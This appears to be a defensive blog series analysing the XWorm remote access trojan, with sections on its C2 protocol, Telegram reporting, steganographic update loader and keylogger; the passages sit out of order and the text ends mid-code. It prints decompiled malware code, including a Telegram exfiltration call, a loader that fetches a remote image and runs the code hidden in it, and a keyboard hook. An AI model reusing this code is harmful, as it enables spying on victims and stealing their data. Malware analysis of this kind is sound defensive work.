Throughout this series, we have examined and analyzed various XWorm capabilities:

1. How XWorm is obfuscated, and part of its content encrypted.
2. How XWorm detects whether it is running in a virtualized environment or being analyzed.
3. How XWorm evades being inspected by Windows Defender and ensures its persistent presence on its victim’s system.
4. How XWorm uses USB devices to infect new victims.
5. How XWorm intercepts cryptocurrency transactions to steal them.
6. How XWorm uses steganography to obtain new versions of itself.

In this article, we will conclude our analysis of XWorm by exploring its Command and Control capabilities.

Analysis of Communication with the C2 Server#

We begin the analysis by reviewing the code of the function akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ, which runs continuously and invokes the function BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD every 3–10 seconds:

private static void akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ()
{
for (;;)
{
	Thread.Sleep(new Random().Next(3000, 10000));
	{
		BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD();
	}
}
}

The function’s code appears complex due to obfuscation; however, we can observe references to network configurations (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc.):

0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y = -1L;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F = new byte[1];
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ = new MemoryStream();
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.ReceiveBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.SendBufferSize = 51200;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.Connect(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, Conversions.ToInteger(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA = true;
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA = RuntimeHelpers.GetObjectValue(new object());
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir(Conversions.ToString(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ()));
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p.BeginReceive(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F, 0, 0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F.Length, SocketFlags.None, new AsyncCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0), null);
TimerCallback timerCallback = new TimerCallback(0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m);
0HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV.RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

After cleaning up the code a bit, we get the following:

class.vSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
...
class.vBuffer = new byte[1];
class.vMemoryStream = new MemoryStream();
class.vSocket.ReceiveBufferSize = 51200;
class.vSocket.SendBufferSize = 51200;
class.vSocket.Connect(class2.host, Conversions.ToInteger(class2.port));
...
class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), null);
TimerCallback timerCallback = new TimerCallback(class.vState);
class.vTimer = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));

We see that XWorm establishes a connection to a host and port, which come from the values decrypted when the malware started; then, it begins receiving traffic sent by the server and stores it in a buffer (vBuffer). Once it finishes receiving traffic, it proceeds to call a function (vCallBack).

Additionally, we see that a timer is created which calls the timerCallback function every 10–15 seconds.

The invoked function, vCallBack, uses its own logic to interpret any message received from the server:

public static void vCallBack(IAsyncResult vReceivedTraffic)
{
	int num = class.vSocket.EndReceive(vReceivedTraffic);
	if (num > 0)
	{
		if (class.vControl == -1L)
		{
			if (class.vBuffer[0] == 0)
			{
				class.vControl = Conversions.ToLong(class2.GetString(class.vMemoryStream.ToArray()));
				class.vMemoryStream.Dispose();
				class.vMemoryStream = new MemoryStream();
				if (class.vControl == 0L)
				{
					class.vControl = -1L;
					class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
					return;
				}
				class.vBuffer = new byte[(int)(class.vControl - 1L) + 1];
			}
			else
			{
				class.vMemoryStream.WriteByte(class.vBuffer[0]);
			}
		}
		else
		{
			class.vMemoryStream.Write(class.vBuffer, 0, num);
			if (class.vMemoryStream.Length == class.vControl)
			{
				ThreadPool.QueueUserWorkItem(new WaitCallback(class.vFuncToExecute), class.vMemoryStream.ToArray());
				class.vControl = -1L;
				class.vMemoryStream.Dispose();
				class.vMemoryStream = new MemoryStream();
				class.vBuffer = new byte[1];
			}
			else
			{
				class.vBuffer = new byte[(int)(class.vControl - class.vMemoryStream.Length - 1L) + 1];
			}
		}
		class.vSocket.BeginReceive(class.vBuffer, 0, class.vBuffer.Length, SocketFlags.None, new AsyncCallback(class.vCallBack), class.vSocket);
	}
}

The vCallBack function handles incoming data from the C2 server. XWorm expects the server to send instructions in three parts:

1. A string representing the payload size (e.g. “20”),
2. A separator byte (\x00),
3. The actual payload (the instructions).

We can go through the code step by step to see how XWorm handles this protocol:

1. Read incoming data: The function starts by calling EndReceive, which tells us how many bytes were received. If nothing was received (num <= 0), the function exits.

2. Initial state – waiting for payload size: If the control variable vControl is -1 (its initial value), we’re still assembling the payload size from the bytes received.

• Case A: Separator received (vBuffer[0] == 0) This means the size string is complete. The accumulated data in vMemoryStream is converted into a number, which is saved into vControl.

  If the converted number is 0, we ignore it (probably a keep-alive or malformed request) and reset everything to listen again. Otherwise, we prepare a buffer sized exactly to receive the actual payload.

• Case B: Still receiving size string (vBuffer[0] != 0) This means we’re still in the process of building the payload size string, byte by byte. The current byte is appended to the MemoryStream, and we wait for more data.

3. Payload reception phase (vControl != -1): At this point, we know how much data to expect. All received bytes are written to the MemoryStream.

• If the total number of bytes received matches vControl, we’ve successfully assembled a full payload.
• That payload is now passed to vFuncToExecute using a thread from the thread pool.
• After execution is queued, the state is reset to prepare for the next instruction.

4. Continue receiving: After handling any chunk of data, the function calls BeginReceive again, so it can handle the next piece of data when it arrives.

Decrypting the Payload#

The C2 server sends the payload encrypted, which is then decrypted using the Rijndael algorithm:

public static byte[] bYp2DT0qddN2(byte[] vReceivedPayload)
{
	RijndaelManaged rijndaelManaged = new RijndaelManaged();
	MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
	byte[] array;
	try
	{
		rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(class1.GetBytes(class2.key));
		rijndaelManaged.Mode = CipherMode.ECB;
		ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
		array = cryptoTransform.TransformFinalBlock(vReceivedPayload, 0, vReceivedPayload.Length);
	}
	return array;
}

In the analyzed sample, the key is <123456789>.

Command Execution#

Once the payload is decrypted, it is split using the Strings.Split function, having the string <Xwormmm> as separator:

string[] array = Strings.Split(class1.GetString(class1.bYp2DT0qddN2(vReceivedPayload)), Conversions.ToString(class.separador), -1, CompareMethod.Binary);
string text = array[0];
if (Operators.CompareString(text, "rec", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	Application.Restart();
	Environment.Exit(0);
}
else if (Operators.CompareString(text, "CLOSE", false) == 0)
{
	zsvYKm3Krg57.UnsetProcessCritical();
	class.vSocket.Shutdown(SocketShutdown.Both);
	class.vSocket.Close();
	Environment.Exit(0);
}
...

The first part of the split payload corresponds to the command, while the second part corresponds to the arguments the command expects; for example, the payload Urlopen<Xwormmm>C:\Windows\System32\calc.exe would execute the Urlopen command, passing the path to the Windows calculator as an argument:

 if (Operators.CompareString(text, "Urlopen", false) == 0)
{
class.Urlopen(array[1], false);
}

...
public static void Urlopen(string command, bool download)
		{
			if (download)
			{
				try
				{
					ServicePointManager.Expect100Continue = true;
					ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
					ServicePointManager.DefaultConnectionLimit = 9999;
				}
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(command);
				httpWebRequest.UserAgent = TFIW2FSLtw9S.yeTD98gQKyr3[new Random().Next(TFIW2FSLtw9S.yeTD98gQKyr3.Length)];
				httpWebRequest.AllowAutoRedirect = true;
				httpWebRequest.Timeout = 10000;
				httpWebRequest.Method = "GET";
				using ((HttpWebResponse)httpWebRequest.GetResponse())
				{
				}
			}
			else
			{
				Process.Start(command);
			}
		}

XWorm supports the following commands:

• rec: changes the process priority from critical to non-critical and restarts the program
• CLOSE: changes the process priority from critical to non-critical and closes the program
• uninstall: removes the malware and its persistence mechanisms
• update: updates the malware with the information sent by the C2
• DW/FM/LN: different ways of downloading and executing programs
• Urlopen: starts the process provided by the C2 (for example, “C:\Windows\System32\calc.exe”)
• PCShutdown: shuts down the computer
• PCRestart: restarts the computer
• PCLogoff: logs the user off
• StartDDos: initiates a DDoS attack on the URL specified by the attacker
• StopDDos: stops an ongoing DDoS attack
• StartReport: sends the running processes to the C2 server
• Xchat/ngrok: sends the agent ID to the C2 server
• plugin: downloads and executes a plugin
• OfflineGet: captures what the user types (keylogger)
• $Cap: takes a screenshot of the device and sends it to the C2 server
• MessageBox: displays a message to the user

Conclusion#

After 7 articles, we have finally reached XWorm’s objective: it is a RAT (Remote Access Trojan) with multiple capabilities:

• Keylogger
• Cryptocurrency theft
• Taking screenshots
• Launching a DDoS attack
• Executing a program on its victim’s system
• Downloading and executing a program (for example, ransomware)
• Plugin installation

The vast number of capabilities XWorm has, along with the measures it takes to remain unnoticed, make it an interesting malware to analyze; XWorm is constantly evolving, so it will be interesting to check in a few months what new techniques it has implemented to continue compromising new victims.

In the previous article, we explored how XWorm intercepts cryptocurrency wallet addresses to steal funds and captures keystrokes from the victim. In this article, we’ll examine how XWorm reports back to its creators when it infects a new victim, and how it updates itself if necessary.

Communication via Telegram#

The code XWorm uses to report itself is easy to understand:

using (WebClient webClient = new WebClient())
{
	string newLine = Environment.NewLine;
	string text = string.Concat(new string[]
	{
		"☠ [WizWorm]",
		newLine,
		newLine,
		"New Clinet : ",
		newLine,
		TFIW2FSLtw9S.FJMqXu7uvzCu(),
		newLine,
		newLine,
		"UserName : ",
		Environment.UserName,
		newLine,
		"OSFullName : ",
		2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Info.OSFullName
	});
	webClient.DownloadString(string.Concat(new string[]
	{
		"https://api.telegram.org/bot",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.nnOZhYK0wjpot1RoNGOJ1bkjxjVdRCDD7uXeR,
		"/sendMessage?chat_id=",
		Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.LFycjzFw0leIPcKun6Ib6Mf8btUoQQknVTabA,
		"&text=",
		text
	}));
}

Taking a quick look at the code, we see that it sends the username of the victim, as well as the operating system; we also see the text ☠ [WizWorm], which helps identify the malware.

The malware calls the function FJMqXu7uvzCu, which generates a unique identifier using information from the victim’s machine:

public static string FJMqXu7uvzCu()
{
	string text;
	try
	{
		text = TFIW2FSLtw9S.zH5IMQfj0k7d(string.Concat(new object[]
		{
			Environment.ProcessorCount,
			Environment.UserName,
			Environment.MachineName,
			Environment.OSVersion,
			new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
		}));
	}
	catch (Exception ex)
	{
		text = "Err HWID";
	}
	return text;
}

The zH5IMQfj0k7d function generates an MD5 hash of the following values: number of CPU cores, username, machine hostname, OS version, and hard drive size. It then concatenates the values after converting them to hexadecimal and extracts the first 20 characters of the resulting string.

XWorm uses the Telegram API to send the victim’s data to a group :

https://api.telegram.org/bot572051XXXX:AAF4KOAv3GXHFU0RS3g4XXXXXXXXXXXX__A/sendMessage?chat_id=-1001540XXXXXX&text=INFORMACIONUSUARIO

Obtaining a New Variant#

After notifying its creators about the new victim via Telegram, XWorm starts a new thread to download an image, process it, and execute the resulting content:

public static void u4JX9v7FvmTG()
{
	Thread.Sleep(5000);
	try
	{
		ServicePointManager.Expect100Continue = true;
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
		ServicePointManager.DefaultConnectionLimit = 9999;
	}
	try
	{
		WebClient webClient = new WebClient();
		Bitmap bitmap = (Bitmap)Image.FromStream(webClient.OpenRead("https://i.ibb.co/DwrXXXX/Image.png"));
		List<byte> list = new List<byte>();
		object obj;
		object obj2;
		if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, checked(bitmap.Width - 1), 1, ref obj2, ref obj))
		{
			do
			{
				list.Add(bitmap.GetPixel(Conversions.ToInteger(obj), 0).R);
			}
			while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, obj2, ref obj));
		}
		AppDomain.CurrentDomain.Load(list.ToArray()).EntryPoint.Invoke(null, null);
	}
	catch (Exception ex2)
	{
		Thread.Sleep(2000);
	}
}

If we download the image, we can confirm that it’s a standard image, not flagged as malicious by Windows Defender. XWorm employs a technique called steganography, which hides information within files like images, videos, or text.

By analyzing the code, we see that it iterates through each pixel of the image, extracts the red component, and adds it to a list. Then, it uses the AppDomain.Load method to load the list as a block of code, retrieves the code’s entry point using the Assembly.EntryPoint property , and finally, executes the code using the Invoke method.

In the following image, we can identify the bytes 4D and 5A - MZ, which are characteristic of .EXE programs:

Analysis#

I find it interesting that XWorm carries out malicious activities, such as cryptocurrency theft and keylogging, before reporting to its creator. This is likely because these actions could trigger detection and removal of the malware, so the creators probably wait until they are certain that these activities have not been blocked before notifying them of a new victim.

XWorm continues to showcase the creativity of its developers by using steganography to hide new variants of itself. The image XWorm downloads is a normal image (not an .exe file renamed as .png), meaning it cannot be executed on its own. Windows Defender or any tool that analyzes network traffic would simply see a PNG image and not raise any alerts. This type of rarely used technique is what makes XWorm interesting (similar to the infection of new devices through USBs).

Next Steps#

In the next article, we will conclude the analysis of XWorm by unraveling its Command and Control capabilities.

In the previous article, we saw how XWorm uses removable devices to infect new systems. In this article, we begin analyzing some of its malicious capabilities, such as cryptocurrency capture and keylogging.

Keylogger#

After copying itself to any USB device connected to the system, the malware creates two threads: one invoking the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz, and another calling the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.

Keylogger: Configuration#

We begin by analyzing the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz; since the variable and class names are obfuscated, the analysis appears to be challenging:

private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z();
		}

...
public class nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj
	{
		public static void mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.gwErjDsnC1yo = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.jtmLNbYtCsof);
			Application.Run();
		}

		private static IntPtr DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.LowLevelKeyboardProc yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.8iakvQZQ3uCL, yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.n0nrWLA4QQMJ(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

To make the analysis easier, we can replace the obfuscated names with the object types they refer to:

private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			class1.functionToAnalyze();
		}

...
public class class1
	{
		public static void functionToAnalyze()
		{
			class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = class1.fSetWindowsHookEx(class1.8iakvQZQ3uCL, pLLKP, class1.fGetModuleHandle(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

The functions GetModuleHandle and SetWindowsHookEx are imported from kernel32.dll and user32.dll respectively:

[DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "GetModuleHandle", SetLastError = true)]
private static extern IntPtr n0nrWLA4QQMJ(string 2gOtdzHXuJup);
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]
private static extern IntPtr xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(int eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX, class1.LowLevelKeyboardProc 7NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz, IntPtr lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz, uint 5cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3);

With that information, we can fill in the value of the variable 8iakvQZQ3uCL and simplify the functions to better understand the code:

		public static void functionToAnalyze()
		{
			class1.vIntPtr = class1.fIntPtr(class1.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(class1.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = SetWindowsHookEx(13, pLLKP, GetModuleHandle(currentProcess.ProcessName), 0);
			}
			return intPtr;
		}

The SetWindowsHookEx function takes the following parameters :

1. idHook: The type of hook to be set. 13 corresponds to “WH_KEYBOARD_LL” and is used to monitor keyboard events.
2. lpfn: A pointer to the procedure to execute (“pLLKP” in the previous code).
3. hmod: A handle to the DLL that contains the procedure. XWorm sets it to its own process.
4. dwThreadId: The thread to associate the hook with. 0 means “associate with all threads.”

To summarize, the function MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz does the following:

1. It calls a function that takes a “callback” procedure as a parameter, which will be executed when a certain condition is met.
2. The function invoked in step 1 uses the SetWindowsHookEx function, imported from USER32.DLL, to set up a hook that monitors keyboard events and invokes the “callback” procedure when an event occurs.
3. The “callback” procedure is of type LowLevelKeyboardProc and is invoked every time a keyboard event is registered .

In other words, XWorm creates a new thread that constantly monitors any keyboard events and calls a function when activity is detected.

Keylogger: execution#

Now, let’s analyze the invoked procedure, step by step:

private static IntPtr rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI(int JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL, IntPtr RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l, IntPtr uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX)
		{
			if (JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL >= 0 && RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX);
				object obj2 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(20) & 65535) != 0;
				object obj3 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(160) & 32768) != 0 || ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(161) & 32768) != 0;
				object obj4 = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI(Conversions.ToUInteger(obj));
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetKeyState", ExactSpelling = true)]
		private static extern short E7DLvYqDXgLo(int zybtWxM2jgdH);

If we replace the obfuscated functions and variables with what the LowLevelKeyboardProc documentation tells us, we get the following:

private static IntPtr pLLKP(int nCode, IntPtr wParam, IntPtr lParam)
		{
			if (nCode >= 0 && wParam == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(lParam);
				object obj2 = ((int)GetKeyState(20) & 65535) != 0;
				object obj3 = ((int)GetKeyState(160) & 32768) != 0 || ((int)GetKeyState(161) & 32768) != 0;
...

According to the documentation , the parameters that the function takes are the following:

1. nCode: A code that the procedure uses to process the message; 0 means there is keyboard event information.
2. wParam: The message identifier; 256 corresponds to 0x100, which corresponds to WM_KEYDOWN. This event is triggered when a key is pressed.
3. lParam: A pointer to the KBDLLHOOKSTRUCT structure.

The code uses the GetKeyState function to determine if the Caps Lock key is being pressed and assigns the result to the variable obj2. Similarly, it checks if either the right or left Shift keys are pressed and assigns that result to the variable obj3. Information about which number corresponds to each key can be found here .

The next variable assigned is obj4, which uses the GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, and ToUnicodeEX functions to obtain the Unicode character of the pressed key.

If we continue analyzing the code, we see that it converts the characters to uppercase/lowercase depending on whether the Caps Lock or Shift keys are pressed. Additionally, it checks if the F1-F24 keys are pressed and logs that action within square brackets:

if (Conversions.ToBoolean((Conversions.ToBoolean(obj2) || Conversions.ToBoolean(obj3)) ? true : false))
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToUpper", new object[0], null, null, null));
				}
				else
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToLower", new object[0], null, null, null));
				}
				if (Conversions.ToInteger(obj) >= 112 && Conversions.ToInteger(obj) <= 135)
				{
					obj4 = "[" + Conversions.ToString(Conversions.ToInteger(obj)) + "]";
				}

The code also checks if non-alphanumeric keys are being pressed and logs them within square brackets:

...
string text = ((Keys)Conversions.ToInteger(obj)).ToString();
					if (Operators.CompareString(text, "Space", false) == 0)
					{
						obj4 = "[SPACE]";
					}
					else if (Operators.CompareString(text, "Return", false) == 0)
					{
						obj4 = "[ENTER]";
					}
					else if (Operators.CompareString(text, "Escape", false) == 0)
					{
						obj4 = "[ESC]";
					}
					else if (Operators.CompareString(text, "LControlKey", false) == 0)
					{
						obj4 = "[CTRL]";
					}
...

Finally, the code logs the pressed key to the file "C:\\temp\\Log.tmp", specifying the name of the process where the victim is typing and the title of the window:

...
using (StreamWriter streamWriter = new StreamWriter("C:\\temp\\Log.tmp", true))
				{
					if (object.Equals(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()))
					{
